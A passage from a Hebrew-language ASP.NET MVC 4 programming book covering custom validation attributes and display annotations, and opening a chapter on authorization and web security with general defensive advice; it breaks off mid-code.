 שמוצגת בקוד AddressAndPaymentהפעולה . שגיאות הקלדה או להשלים שדות חסרים

 :שלהלן מספקת דוגמה להתנהגות של פעולה טיפוסית
[HttpPost] 

public ActionResult AddressAndPayment(Order newOrder) 

{ 

 if (ModelState.IsValid) 

 { 

  newOrder.Username = User.Identity.Name; 

  newOrder.OrderDate = DateTime.Now; 

  storeDB.Orders.Add(newOrder); 

  storeDB.SaveChanges(); 

 

  // Process the order 

  var cart = ShoppingCart.GetCart(this); 

  cart.CreateOrder(newOrder); 



 141    סימון נתונים ואימות:6פרק 

  return RedirectToAction("Complete", new { id = newOrder.OrderId }); 

 } 

 // Invalid -- redisplay with errors 

 return View(newOrder); 

} 

זה המקשר למודל כבר השלים בשלב .  נבדק מיידModelState של IsValidהמאפיין , בקוד זה
 ואכלס את האובייקט באמצעות הערכים שסופקו על ידי Orderאת הבנייה של אובייקט 

כאשר המקשר למודל מסיים את ). POSTערכי הטופס שנמסרו באמצעות בקשת (הבקשה 
ולכן כבר אפשר לדעת , הוא מריץ את כל כללי האימות הרלוונטיים לאובייקט, עדכון ההזמנה

ניתן ליישם את הפעולה גם באמצעות קריאה מפורשת לשיטה . ב האובייקט תקין או לאאם מצ
UpdateModel או לשיטה TryUpdateModel . 

[HttpPost] 

public ActionResult AddressAndPayment(FormCollection collection) 

{ 

 var newOrder = new Order(); 

 TryUpdateModel(newOrder); 

  if (ModelState.IsValid) 

  { 

   newOrder.Username = User.Identity.Name; 

   newOrder.OrderDate = DateTime.Now; 

   storeDB.Orders.Add(newOrder); 

   storeDB.SaveChanges(); 

 

   // Process the order 

   var cart = ShoppingCart.GetCart(this); 

   cart.CreateOrder(newOrder); 

   return RedirectToAction("Complete", new { id = newOrder.OrderId }); 

  } 

   // Invalid -- redisplay with errors 

  return View(newOrder); 

} 

בודקים אם מצב המודל , אך שימו לב שבשתי החלופות שהוצגו, יש דרכים רבות לעשות זאת
הלקוח , כך. AddressAndPayment את התצוגה הפעולה שולחת שוב, ובמקרה שלא, מאומת

 . יכול לתקן את שגיאות האימות ולשלוח את הטופס פעם נוספת

כאשר עובדים עם , סעיף זה נועד להראות עד כמה תהליך האימות יכול להיות פשוט ומובן
המאפיינים המובנים אינם יכולים לכסות את כל תרחישי האימות , אמנם. מאפייני הסימון

ניתן לבנות בקלות רבה תהליכי אימות , למרבה המזל. ים להיווצר ביישומים השוניםשעשוי
 . אשר מותאמים אישית לצרכי היישום
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 לוגיקת אימות מותאמת אישית
מעמידות לרשות המשתמשים מספר רב של , ASP.NET MVCאפשרויות ההרחבה של תשתית 

בסעיף זה נתמקד . צרכים השוניםדרכים שונות ליישם לוגיקת אימות שמותאמת באופן אישי ל
 : בשני תרחישים מרכזיים

 ום בסימוני נתונים מותאמים אישיתאריזת לוגיקת הייש 

 גיקת היישום באובייקט המודל עצמואריזת לו 

מותאמים אישית מאפשר ) data annotation( האימות על ידי סימוני נתונים לוגיקתייצוג 
כמובן שעליכם לכתוב את . וגיקה שאתם יוצריםלהחיל שוב ושוב על מודלים שונים את הל

לאחר עמידה . הקוד שבתוך המאפיין בצורה שתאפשר לו לפעול עם מודלים מטיפוסים שונים
 . בדרישה זו תוכלו להציב את הסימון החדש שיצרתם בכל מקום שתבחרו

של הטמעת לוגיקת היישום באופן ישיר באובייקט המודל מקלה על תהליך הכתיבה , עם זאת
כמובן שהדבר ). זו צריכה לפעול רק עם אובייקט מטיפוס מסוים(הקוד שמייצג את הלוגיקה 

 . מקשה על השימוש החוזר בלוגיקה

ונתחיל בכתיבת סימוני נתונים מותאמים , בסעיפים הבאים נציג דוגמאות לשתי הגישות הללו
 . אישית

 סימוני נתונים מותאמים אישית 

נניח , לדוגמה. ערך שם המשפחה של לקוח למספר מילים מסויםנניח שברצוננו להגביל את 
נניח שאנו צופים . שאיננו רוצים לאפשר הזנת שמות משפחה שכוללים יותר מעשר מילים

גם על ) הגבלת מספר המילים המרבי של המחרוזת(שנרצה להחיל את סוג האימות הזה 
 שנחליט לארוז את לוגיקת במקרה כזה ייתכן מאוד. Music Storeמודלים אחרים ביישום 

 . ואז נוכל לעשות בו שימוש חוזר, האימות במאפיין

זוהי . ValidationAttributeיורשים ממחלקת הבסיס ) Range- וRequiredכגון (כל סימוני האימות 
. System.ComponentModel.DataAnnotationsמחלקת בסיס מופשטת שנמצאת במרחב השמות 

קת האימות הייחודית שלנו במחלקה שיורשת ממחלקת הבסיס אנחנו גם ניישם את לוגי
ValidationAttribute : 

using System.ComponentModel.DataAnnotations; 

 

namespace MvcMusicStore.Infrastructure 

{ 

 public class MaxWordsAttribute : ValidationAttribute 

 { 

 

 } 

} 
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 שמספקת IsValidאת אחת משיטות ) override( לדרוס עלינו, כדי ליישם את לוגיקת האימות
 אשר מקבלת את הפרמטר IsValidדריסת הגרסה המועמסת של . מחלקת הבסיס

ValidationContext הפרמטר ( תספק לנו מידע רחב יותר לעבודה בתוך השיטהValidationContext 
ידותי עבור המאפיין לשם תצוגה יד, למופע של אובייקט המודל, מספק גישה לטיפוס המודל

 ). ולנתונים שימושיים נוספים, שברצוננו לאמת

public class MaxWordsAttribute : ValidationAttribute 

{ 

 protected override ValidationResult IsValid( 

  object value, ValidationContext validationContext) 

 { 

  return ValidationResult.Success; 

 } 

} 

נוכל להחזיר , אם הערך חוקי.  הוא הערך שעלינו לאמתIsValidהפרמטר הראשון של השיטה 
עלינו לדעת מהו מספר , אך לפני שנוכל לבדוק אם הערך חוקי או לא, תוצאת אימות מוצלח

כדי לעשות זאת נוכל להוסיף בנאי ולדרוש מהלקוח להעביר את מספר . המילים המקסימלי
 : רהמילים המרבי כפרמט

public class MaxWordsAttribute : ValidationAttribute 

{ 

 public MaxWordsAttribute(int maxWords) 

 { 

  _maxWords = maxWords; 

 } 

 protected override ValidationResult IsValid( 

  object value, ValidationContext validationContext) 

 { 

  return ValidationResult.Success; 

 } 

 

 private readonly int _maxWords; 

} 

נוכל ליישם את לוגיקת האימות כדי , לאחר יצירת הפרמטר לקליטת מספר המילים המקסימלי
 :לזהות שגיאה

public class MaxWordsAttribute : ValidationAttribute 

{ 

 public MaxWordsAttribute(int maxWords) 

 { 

  _maxWords = maxWords; 

 } 

 

 protected override ValidationResult IsValid( 

  object value, ValidationContext validationContext) 

 { 

  if (value != null) 

  { 



 ASP.NET MVC 4מדריך    144

   var valueAsString = value.ToString(); 

    if (valueAsString.Split(' ').Length > _maxWords) 

   { 

    return new ValidationResult("Too many words!"); 

    } 

  } 

  return ValidationResult.Success; 

 } 

 private readonly int _maxWords; 

} 

, בדיקה פשוטה למדי של מספר המילים מבוצעת על ידי פיצול הערך הנכנס לפי רווחים
 יוחזר אובייקט ,אם מספר המילים גבוה מדי. Splitוספירת מספר המחרוזות שמפיקה השיטה 

ValidationResultעם הודעת שגיאה מוטבעת בקוד כדי להודיע על שגיאת האימות  . 

מפתחים שמשתמשים . הבעיה עם קטע הקוד האחרון היא שהודעת השגיאה מוטמעת בקוד
בסימוני נתונים מצפים שתינתן להם האפשרות להגדיר את נוסח הודעות השגיאה באמצעות 

כדי לשמור על עקביות עם המבנה של . ValidationAttribute של ErrorMessageהמאפיין 
שתוצג על פי ברירת מחדל (עלינו לספק הודעת שגיאה סטנדרטית , מאפייני האימות המובנות

ולהפיק הודעת שגיאה שתכלול , )כאשר לא מתקבלת הודעת שגיאה מותאמת אישית
 : התייחסות לשם המאפיין המאומת

public class MaxWordsAttribute : ValidationAttribute 

{ 

public MaxWordsAttribute(int maxWords) 

  :base("{0} has too many words.") 

 { 

  _maxWords = maxWords; 

 } 

 

 protected override ValidationResult IsValid( 

  object value, ValidationContext validationContext) 

 { 

  if (value != null) 

  { 

   var valueAsString = value.ToString(); 

   if (valueAsString.Split(' ').Length > _maxWords) 

   { 

    var errorMessage = FormatErrorMessage( 

     validationContext.DisplayName); 

    return new ValidationResult(errorMessage); 

   } 

  } 

  return ValidationResult.Success; 

 } 

 private readonly int _maxWords; 

} 
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 :בקוד זה בוצעו שני עדכונים לעומת הקוד הקודם

 אם אתם . מבוצעת העברה של הודעת ברירת מחדל לבנאי של מחלקת הבסיס, ראשית
עליכם לשלוף את הודעת השגיאה הסטנדרטית מקובץ , לאומי-בונים יישום רב

 . המשאבים

 0{( שימו לב שהודעת השגיאה הסטנדרטית כוללת שומר מקום לפרמטר ,שנית{ .(
מפרמטת , FormatErrorMessageהסיבה להוספת שומר המקום היא שהקריאה לשיטה 

 . את המחרוזת באופן אוטומטי בהתאם לשם התצוגה של המאפיין

ם ג( מבטיחה שנשתמש במחרוזת הודעת השגיאה הנכונה FormatErrorMessageהשיטה 
הקוד צריך להעביר את ערך ). במקרה שמבוצעת לוקליזציה של המחרוזת לקובץ משאבים

. validationContext של הפרמטר DisplayNameוהערך יהיה זמין דרך המאפיין , השם הזה
נוכל להחיל את סימון מאפיין האימות על כל , לאחר השלמת היישום של לוגיקת האימות

 :מאפיין מודל
[Required] 

[StringLength(160)] 

[MaxWords(10)] 

public string LastName { get; set; } 

 : נוכל להעביר למאפיין הודעת שגיאה מותאמת אישית, כמו כן
[Required] 

[StringLength(160)] 

[MaxWords(10, ErrorMessage="There are too many 

words in {0}")] 

public string LastName { get; set; } 

 6-7תרשים    

 . 6-7תוצג בפניו ההודעה שבתרשים , אם הלקוח יזין יותר מדי מילים לשדה שם המשפחה, כעת

חפשו את . NuGet ניתן להתקין כחבילת MaxWordsAttributeאת המאפיין  הערה
Wrox.ProMvc4.Validation.MaxWordsAttributeכדי להוסיף את הקוד לפרויקט שלכם  . 

, כאמור. תאם אישית היא אחת הדרכים להחלת לוגיקת אימות על מודליםבניית מאפיין מו
היתרון העיקרי של השיטה הוא בכך שניתן בקלות למחזר את המאפיין ולהחילו על מגוון 

 יכולות אימות בצד MaxWordsAttribute נוסיף למאפיין 8בפרק . מחלקות מודלים שונות
 . הלקוח
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IValidatableObject 

אובייקט .  הינו מודל שיודע לאמת את עצמו)self-validating model(מי עצ-מודל אימות
לשם ההדגמה . IValidatableObjectמודל יכול להכריז על היכולת הזו על ידי יישום ממשק 

 שבמחלקת LastNameניישם כעת את בדיקה ישירה של מספר המילים המקסימלי בשדה 
 :Orderהמודל 

public class Order : IValidatableObject 

{ 

 public IEnumerable<ValidationResult> Validate( 

        ValidationContext validationContext) 

 { 

  if (LastName != null && 

     LastName.Split(' ').Length > 10) 

  { 

   yield return new ValidationResult("The last name has too many words!", 

                                        new []{"LastName"}); 

  } 

 } 

 

 // rest of Order implementation and properties 

 // ... 

} 

 :ניתן כאן להבחין במספר הבדלים בולטים לעומת הגרסה של סימון מאפיין האימות

  רכיב זמן הריצה שלMVC קורא לשיטה Validateלו בגרסת סימון ואי,  לביצוע האימות
 . גם הטיפוס המוחזר והפרמטרים שלה שונים. IsValidהשיטה נקראת , המאפיין

  השיטהValidate מחזירה אובייקט מטיפוס IEnumerable<ValidationResult>  במקום
מכיוון שהלוגיקה הפנימית של השיטה ,  יחידהValidationResultהחזרה של תוצאת 

 .  וייתכן שתידרש להחזיר יותר משגיאת אימות אחת,מאמתת לכאורה את המודל כולו
  השיטהValidate אינה מקבלת פרמטר value מכיוון שלוגיקת האימות מיושמת בתוך 

 . המודל ונהנית מגישה ישירה לערכי המאפיינים

 לצורך בניית הערך המוחזר מסוג #C של yield returnשימו לב בקוד לשימוש שנעשה בתחביר 
enumerable .וד גם מוסר באופן מפורש לתוצאה הקValidationResult את שם השדה שמשויך 

 יכול ValidationResultאולם הפרמטר האחרון של הבנאי , LastNameבמקרה שלנו זהו (אליה 
 ). גם לקבל מערך של מחרוזות לצורך שיוך התוצאה למספר מאפיינים

ובמיוחד , IValidatableObjectיסת תרחישי אימות רבים הרבה יותר קלים ליישום באמצעות תפ
תרחישים שכרוכים בהשוואה בין מספר מאפיינים במודל באמצעות קוד שדרוש לקבלת 

 . החלטות אימות

אולם תשתית , נו את כל הידע הדרוש כדי להשתמש בסימוני אימות ביישומיםיעד כה כיס
MVC רמזנו . בזמן הריצה מספקת סימונים נוספים שמשפיעים על ההצגה והעריכה של מודלים

וכעת יש לנו , "שם תצוגה ידידותי"כאשר עסקנו בנושא , על הסימונים הללו בפרקים קודמים
 . הידע הנדרש כדי לדון בהם בהרחבה
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 סימוני הצגה ועריכה
בתחילת הפרק בנינו יחדיו טופס שמאפשר למשתמש לשלוח את הפרטים הדרושים לעיבוד 

 בשם HTMLעשינו זאת באמצעות סייע . רתהתעבורה היא מהלקוח אל הש. הזמנה
EditorForModel ,6-8תרשים . אך הטופס שהוא הפיק עבורנו לא תאם במדויק את הציפיות 

 . אמור לרענן את זכרוננו

 6-8תרשים    

 : שתי בעיות עולות מתצלום המסך שבתרשים

  אין לנו צורך בשדה הקלטUsername)  ידי הקוד הוא נקבע ומנוהל באופן אוטומטי על
 ). של פעולת הבקר

  נרצה לתת שם ידידותי יותר לשדהFirstName , ובמקרה שלנו נוסיף רווח בין המילה
 ). Name(לשנייה ) First(הראשונה 

 . DataAnnotationsגם הפתרון לבעיות אלו נמצא במרחב השמות 

את סימוני מלקט המטא של המודל -ספק נתוני,  עסקנו קודםםבהש האימות למאפייניבדומה 
 HTMLודואג שהמידע שהם מכילים יהיה זמין לסייע , שמוסברים להלן) והעריכה(ההצגה 

המטא הזמינים - משתמשים בכל נתוניHTMLסייעי . MVCולרכיבים אחרים בזמן הריצה של 
 .כדי לספק ממשק הצגה ועריכה המתאים למודל

 תצוגה 

נוכל להשתמש בתכונה . אפיין מודל משמשת להגדרת שם תצוגה ידידותי למDisplayהתכונה 
Display לתיקון התווית של השדה FirstName : 

[Required] 

[StringLength(160, MinimumLength=3)] 

[Display(Name="First Name")] 

public string FirstName { get; set; } 

 .  ניתן לראות כיצד תמומש התצוגה לאחר החלת התכונה6-9בתרשים 

 6-9 תרשים   

 מאפשר גם לשלוט בסדר הצגת שדות הקלט של Displayהמאפיין , בנוסף לבחירת השם
 - וLastNameתוכלו לשלוט במיקום של השדות , לדוגמה. המאפיינים בממשק המשתמש

FirstNameבאמצעות הקוד שלהלן : 
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[Required] 

[StringLength(160)] 

[Display(Name="Last Name", Order=15001)] 

[MaxWords(10, ErrorMessage="There are too many words in {0}")] 

public string LastName { get; set; } 

 

[Required] 

[StringLength(160, MinimumLength=3)] 

[Display(Name="First Name", Order=15000)] 

public string FirstName { get; set; } 

שני השדות , Display שמסומנים במאפיין Orderל בהנחה שהמאפיינים הם היחידים במוד
 Orderערך ברירת המחדל של הפרמטר . (LastName ואחריו FirstNameהאחרונים בטופס יהיו 

 .והשדות מוצגים בסדר עולה, )10,000הוא 

ScaffoldColumn 

כמו למשל , HTML מאפשר להסתיר מאפיין מפני סייעי ScaffoldColumn מאפיין הסימון
EditorForModel או DisplayForModel : 

[ScaffoldColumn(false)] 

public string Username { get; set; } 

 לא יציג אלמנט קלט או תווית עבור השדה EditorForModelהסייע , לאחר הוספת מאפיין זה
Username .יש לזכור שהקישור למודל עשוי בכל זאת לנסות להציב ערך במאפיין , עם זאת
Usernameאשר מכונה (מידע נוסף על תרחיש זה .  במידה שהוא מוצא ערך תואם בבקשה

 . 7ניתן בפרק ) over-posting, קלט-עודף

אך , שני המאפיינים האחרונים מאפשרים לפתור את כל הבעיות עם טופס ההזמנה שבדוגמה
 .  מספקת כמה סימונים שימושיים נוספיםASP.NET MVC 4תשתית 

DisplayFormat 

 מטפל במספר סוגיות של פורמט הצגת מאפיינים באמצעות DisplayFormatפיין הסימון מא
אפשר לספק טקסט חלופי במקרה שהמאפיין מכיל ). named parameters(מיים שֵפרמטרים 

אפשר גם לציין מחרוזת .  עבור מאפיינים שמכילים תגיותHTMLולבטל את קידוד , nullערך 
הקוד שלהלן משמש . י רכיב זמן הריצה על ערך המאפייןפורמט נתונים שתיושם על יד

 :  של מודל כערך כספיTotalלהצגת המאפיין 

[DisplayFormat(ApplyFormatInEditMode=true, DataFormatString="{0:c}")] 

public decimal Total { get; set; } 

כדי להציג את , לכן על פי ברירת מחדל וfalse הינו ApplyFormatInEditModeערך הפרמטר 
צריך לשנות את ערך הפרמטר , ערך המאפיין בפורמט הנבחר גם בשדות טופס

ApplyFormatInEditModeערך  לtrue .אם המאפיין , לדוגמהTotal decimal של המודל מכיל 
 .6-10יתקבל הפלט אשר מוצג בתרשים , 12.1את הערך 
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 6-10תרשים    

 נובעת , על פי ברירת המחדלfalse הוא ApplyFormatInEditModeאחת הסיבות לכך שהפרמטר 
מכך שהצגת הערך בפורמט ייחודי בשדה עשויה ליצור בעיות עבור מקשר המודל אשר 

המקשר למודל לא יצליח לפרש את ערך המחיר לאחר , בדוגמה זו. יתקשה לפרש את הערך
 צריך ApplyFormatInEditModelועל כן , בגלל סמל הדולר שמופיע בשדה, מסירת הטופס

 . falseלהישאר 

ReadOnly 

 כדי לוודא שהמקשר למודל המובנה לא יציב במאפיין זה ערך ReadOnlyצרפו סימון מאפיין 
 :חדש מהבקשה

[ReadOnly(true)] 

public decimal Total { get; set; } 

. המאפיין עדיין יציג שדה קלט פעיל עבור EditorForModelהסייע , גם לאחר ביצוע קוד זה
 .  משפיע על המקשר למודל בלבדReadOnlyהמאפיין , כלומר

DataType 

 מאפשר לספק לרכיב זמן הריצה את המידע על הייעוד המסוים של DataTypeמאפיין הסימון 
הוא עשוי להכיל :  יכול לשמש למטרות שונותstringמאפיין מטיפוס , לדוגמה. המאפיין

 מכסה את כל התרחישים הללו DataTypeהמאפיין . סמה או סיURL, כתובת דואר אלקטרוני
נמצא , Music Storeשאחראי על הכניסה לחשבון ביישום אם נתבונן במודל , לדוגמה. ואחרים

 :את הקוד הבא
[Required] 

[DataType(DataType.Password)] 

[Display(Name="Password")] 

public string Password { get; set; } 

 - שבHTMLסייעי העריכה , Password הוא DataTypeר של מאפיין הסימון כאשר הפרמט
ASP.NET MVC יכולים לממש אלמנט קלט בעל מאפיין טיפוס מסוג password . מבחינת

ראו תרשים (הדפדפן משמעות הדבר היא שיש להסתיר את תווי הסיסמה שמודפסים על המסך 
6-11 .( 

 

 6-11תרשים 

וטקסט מרובה שורות ) time(שעה , )date(תאריך , )Currency(ללים כסף סוגי נתונים נוספים כו
)MultilineText .( 
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UIHint 

 את שם התבנית שיש ASP.NET MVC מספק לרכיב זמן הריצה של UIHintמאפיין הסימון 
 או DisplayForכגון (תבנית -להשתמש בה בעת מימוש קלט באמצעות סייעים מבוססי

EditorFor .(תבנית כדי לעקוף את התנהגות ברירת המחדל של -יר סייעים מבוססיניתן להגד
MVC . נלמד כיצד לעשות זאת16בפרק  . 

HiddenInput 

וניתן באמצעותו , System.Web.Mvc במרחב השמות נמצא HiddenInput מאפיין הסימון
שדות קלט ). hiddenמסוג (להורות לזמן הריצה לממש את אלמנט הקלט כאלמנט מוסתר 

, סתרים הם דרך מצוינת לשמור על נתונים בטופס כדי שהדפדפן יחזיר אותם אל השרתמו
משתמש עדיין יוכל לשנות את הלמרות ש(מבלי שהמשתמש יוכל לראות או לערוך אותם 

 ). עם זאת אין להתייחס למאפיין הזה כחסין מפני התקפות. ערכי הטופס שהם ערכי הקלט

 סיכום
 MVCוראינו כיצד רכיב זמן הריצה של , נים שמשמשים לאימותבפרק זה עסקנו בסימוני נתו

 לבניית מנגנוני אימות ביישומי HTMLמקשרים למודל וסייעי , מטא של מודל-משתמש בנתוני
כלי האימות של התשתית תומכים באפשרויות אימות בצד . האינטרנט בצורה קלה ופשוטה

בנינו סימונים מותאמים אישית לצורך , בנוסף. השרת ואימות בצד הלקוח ללא כפילויות קוד
והשווינו בין גישת האימות , ייחודית ליישום) validation logic(יישום של לוגיקת אימות 

לסיום הצגנו מספר סימוני נתונים . עצמי-באמצעות סימון מותאם אישית לבין מודלי אימות
 . בתצוגותHTML שתורמים למימוש HTMLשמשפיעים על הקלט של סייעי 
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 7פרק 

 הרשאה ואבטחה, רישום משתמשים

Jon Galloway 

 

 עיקרי הפרק

  כניסה לחשבון באמצעות מאפיין הסימוןAuthorize 

  באמצעות מאפיין הסימון תפקידהרשאה לפי Authorize 

 הבנת איומי האבטחה על יישומי אינטרנט 

 כתיבת קוד מאובטח 

 

אנחנו חייבים לעשות . שוטהאבטחת יישומי האינטרנט שלכם עשויה להישמע כמטלה לא פ
הפרטים ! וואו", המשתמשים ביישום לעולם לא אומרים. אבל אין זה תמיד כיף, את זה

כמפתחים עלינו ליצור , עם זאת!". איזה מתכנת תותח! המזהים שלי מאובטחים ממש טוב
 . מנגנוני אבטחה טובים כדי למנוע אירועי אבטחה מביכים

.  ספק אחד ההיבטים הפחות מלהיבים בפיתוח היישוםהאבטחה היא ללא, אין מה לעשות
העיסוק בתחום האבטחה הוא תמציתי מדי , הבעיה היא שבספרים רבים שדנים בנושאי פרק זה

נשתדל להציג מידע שימושי , מכיוון שאנחנו מודעים לחשיבות נושא האבטחה. או מפורט מדי
גם נעשה ככל שביכולתנו . רציםרב ככל שניתן כדי לעזור לכם להגן על היישומים מפני פו

 . להציג בפניכם את החומר בצורה מעניינת ונעימה לקריאה

 זה לא מה שהכרתם: NET Web Forms.ASPלמפתחי 

 אינה מספקת את מערך ASP.NET MVCתשתית . אל תוותרו על קריאה מעמיקה של פרק זה
שמטרתה להגן על , ASP.NET Web Formsאמצעי האבטחה האוטומטיים המוכר לכם מתשתית 

 כוללת אמצעים ASP.NET Web Formsתשתית , כידוע. הדפים שלכם מפני משתמשים עוינים
 :לדוגמה. רבים שנועדו להגן מפני מגוון רחב של איומים

  רכיבי שרת)Server Components ( מעבירים את המאפיינים והערכים המוצגים קידוד
HTML כדי לסייע במניעת מתקפות XSS . 
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 צוגה תמצב ה)View State( מקודד ומאומת כדי למנוע שינויים בלתי מאושרים בטפסים 
 .שנמסרים לשרת

  אימות בקשות)<% @page validaterequest="true" %> ( מאפשר זיהוי נתונים
אפשרות זו מופעלת על פי ברירת מחדל גם (ומתן אזהרה מתאימה , שחשודים כמזיקים

 ). ASP.NET MVCבתשתית 

 עת מתקפות הזרקה ומסירה של ערכים לא חוקייםעים מסייע במניאימות אירו . 

 הדבר עלול להדאיג - האחריות לכמה מהדברים הללו עוברת לידכם ASP.NET MVCבתשתית 
 . אך אחרים יקבלו זאת בברכה, אנשים מסוימים

 אז מבחינות -" וזהו, התשתית צריכה לטפל בדברים האלה"אם אתם משתייכים לאסכולת 
 ASP.NET: ואפילו טוב למדיי, יש תשתית שעושה זאת, ות אנחנו מסכימים אתכם ואמנםמסוימ

Web Forms . אבל יש לזה מחיר שמתבטא בשכבה נוספת של הפשטה אשר מגבילה את רמת
 . השליטה של המפתחים

ובאופן הפעולה של ,  נותנת למפתחים יותר שליטה בתגיות שלהםASP.NET MVCתשתית 
 ASP.NET MVCתשתית , שלא תטעו. הדבר היא שמוטלת עלינו יותר אחריותמשמעות . היישום

 על פי ברירת מחדל HTMLכמו למשל קידוד (מציעה מספר רב של אמצעי הגנה מוּבנְים 
 "נירה לעצמנו ברגל"אך הסיכון ש, ) ואימות בקשותRazor ותחביר HTMLבאמצעות סייעי 

בדיוק זו . יסיים של אבטחת יישומי אינטרנטיהיה גדול יותר אם לא נבין את העקרונות הבס
 . המטרה שלשמה נכתב פרק זה

הגורם השכיח ביותר לכך שיש יישומים לא מאובטחים הוא הפער בידע או חוסר הבנה מצד 
אנחנו מבינים שאתם בסך הכול אנשים וחלק , עם זאת. וזה מה שאנחנו רוצים לשנות, המפתח

נתחיל בהצגת הנקודות המרכזיות , לפיכך.  מטבעםמהנושאים שנעסוק בהם הינם משעממים
 :שמסכמות את הנושאים החשובים בהם נעסוק במהלך פרק זה

 !מהמשתמשנתונים שמגיעים על לעולם אין לסמוך 

 קודדו אותו בקוד , בכל פעם שאתם מעבדים נתון שהתקבל כקלט מהמשתמשHTML 
 ). ן אם הנתון מוצג כערך של מאפייHTML-מאופיין-או בקידוד(

 תכננו מראש איזה חלקים ביישום שלכם צריכים להיות נגישים למשתמשים אנונימיים ,
 . ודרשו הרשאת גישה מכל השאר

  אל תנסו לנקות בכוחות עצמכם קלטHTML עזרו ברשימות יה( שמתקבל מהמשתמשים
 . סופכם להיכשל,  ואם תעיזו-) ימות או בשיטה אחרתאמת

  השתמשו בעוגיות)cookies (מסוג HTTP- בלבד אם אין צורך בגישה לעוגיות באמצעות
 ).נדיר מאוד שיש צורך כזה(תסריט בצד הלקוח 
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 קלט מגיע גם דרך ערכי . זכרו שקלט חיצוני אינו מגיע רק משדות טופס פשוטים
תוצאות של שירותי אינטרנט , Ajaxבקשות , שדות טופס מוסתרים, URLשאילתות 

 . ועוד, חיצוניים שמשמשים אתכם

  מומלץ להשתמש בספרייהAntiXSS) www.codeplex.com/AntiXSS .( 

 כמו למשל כיצד מתבצעות התקפות נפוצות ומה הן מנסות -כמובן שיש עוד המון ללמוד 
, ונצא יחדיו למסע אל עמקי מחשבותיהם של המשתמשים שלכם,  אז הישארו איתנו-לבצע 

לא "גם אם ,  נחשבים למשתמשיםגם הם(בעיקר אלה מביניהם שינסו לפרוץ לאתר שלהם 
אשר מחכים שתשלימו את בניית היישום , רשת האינטרנט מלאה באנשים רעים"). רצויים

סביר להניח שזה בגלל ,  פעם לא חשבתם על זה ככהףאם א. שלכם כדי שיוכלו לפרוץ לתוכו
 : אחת מהסיבות הבאות

 לעולם לא בניתם יישום 

  כםשלאף פעם לא גיליתם שמישהו פרץ לאתר 

 יש שלל גורמים -וגם וירוסים ותוכנות זדוניות ) ...ספאמרים, קראקרים( לסוגיהם האקרים
סביר להניח שבזמן שנדרש . עוינים שמנסים לחדור למחשב שלכם ולנתונים שמאוחסנים בו

יציאות , תיבת הדואר האלקטרוני שלכם סיננה מספר הודעות זבל, לקריאת הסעיף האחרון
וייתכן שגם תולעת תוכנה ניסתה לחדור למחשב שלכם דרך , קו במחשבנסר) ports(לרשת 

ואסור לחדול לרגע , התקפות אלו הן אוטומטיות לחלוטין. פרצות שונות במערכת ההפעלה
 . מניסיונות לאתר פרצות אבטחה

: אבל יש משהו שחייבים לדעת, זה הזמן להתנצל על הנימה הפסימית שבה פתחנו את הפרק
עבור . מפתחי מערכות התוכנה הם חלק מהמשוואה.  כאן אין נופך אישילדברים שהוצגו

 זו -הינם מטרה כשרה למתקפה ) והמידע שמאוחסן בהם(אנשים מסוימים כל המחשבים 
 . המציאות שבה אנחנו חיים

אנו בונים יישומים בהנחת יסוד שרק משתמשים מסוימים מורשים , על רקע המציאות הזו
 ואין לאפשר למשתמש כלשהו לבצע כל פעולה שאינו מוּרְשֶה ,לבצע פעולות מסוימות

יש פער עצום בין האופן שבו אנחנו מקווים שישתמשו ביישום שלנו לבין האופן . לעשותה
בפרק זה נסביר כיצד להשתמש באפשרויות החברֵוּת . שבו ההאקרים מקווים להשתמש בו

)membership( , ההרשאה)authorization ( והאבטחה)security ( של תשתיתASP.NET MVC כדי 
לאכוף סדר עבודה נכון בקרב המשתמשים שלכם ולעמוד בפני המוני ההאקרים שצובאים על 

 . שערי האתר שלכם

 לצורך בנייה של ASP.NET MVCתחילה נסביר כיצד להשתמש באפשרויות האבטחה של 
אופן הטיפול באיומי ולאחר מכן נמשיך לפרט את , כגון מנגנון הרשאה ביישום, מגנונים

עליכם לזכור שהדברים שנאמרים והפעולות שמומלצות נמצאים על אותו . אבטחה נפוצים
 ASP.NET MVCעליכם לוודא שכל מי שמתחבר ליישום . רצף שצריך להביא להצלחת המגננה

 .  וזוהי המהות של אבטחה-שלכם משתמש באתר בדיוק כפי שתיכננתם 
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 י לחייב כניסה לחשבון כדAuthorizeשימוש במאפיין 
משים להיות מאומתים הצעד הראשון והפשוט ביותר באבטחת היישום הוא לחייב משת

ניתן .  מסוימים בתוך היישוםURL כדי שיוכלו לקבל הרשאת גישה לנתיבי ,בכניסה אליו
 על בקר או על פעולות מוגדרות בתוך Authorizeלעשות זאת באמצעות החלת מסנן הפעולה 

השתמשו בו . ASP.NET MVC הינו מסנן ההרשאה הסטנדרטי של Authorizeפיין המא. הבקר
החלת המאפיין על הבקר כולו שקולה להחלתו על . כדי להגביל גישה לשיטות פעולה רצויות
 . כל אחת משיטות הפעולה של אותו בקר

 אימות והרשאה

לבין  )user authentication(אימות משתמשים  בין המונחים לעתיםאנשים מתבלבלים 
  משתמשיםאימותאין כל קשר בין : שימו לב. )user authorization(הרשאת משתמשים 

למעט התרגום הזהה לעברית , )data validation(אימות נתונים שנדון בפרק זה לבין 
 הוא תהליך שמטרתו לוודא שהמשתמש הוא אכן אימות: ולכן נסביר, קל להתבלבל. )אימות(

שבו מזינים שם משתמש ) login(משים לשם כך במנגנון כניסה לחשבון משת. מי שהוא טוען
 ולמעשה צריך להשתמש בכל אמצעי שמאפשר לאמת את זהות ', וכוOpenID, וסיסמה

 נועד לוודא שהמשתמש יוּכלַ לעשות את מה שהוא רוצה לעשות הרשאהתהליך . המשתמש
 . יד כלשהווהדבר מבוצע בדרך כלל באמצעות מנגנון מבוסס תפק, באתר

מחייב למעשה את המשתמש להיות מחובר ,  ללא פרמטרים כלשהםAuthorizeהמאפיין 
תחילה נראה כיצד זה . המאפיין הזה חוסם גישה אנונימית,  במילים אחרות-לחשבון כלשהו 

 . ולאחר מכן נסביר כיצד להגביל את הגישה לבעלי תפקידים מסוימים בלבד, פועל

 אבטחת פעולות בקר

בקר : ה שלכם עם תרחיש רכישה בסיסי ביותרמוסיק שהתחלתם את העבודה על חנות הנניח
Storeבעל שתי פעולות  :Index) ו) משמשת להצגת רשימת האלבומים-Buy. 

using System.Collections.Generic; 

using System.Linq; 

using System.Web.Mvc; 

using Wrox.ProMvc4.Security.Authorize.Models; 

namespace Wrox.ProMvc4.Security.Authorize.Controllers 

{ 

 public class StoreController : Controller 

 { 

  public ActionResult Index() 

  { 

   var albums = GetAlbums(); 

   return View(albums); 

  } 

  public ActionResult Buy(int id) 
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  { 

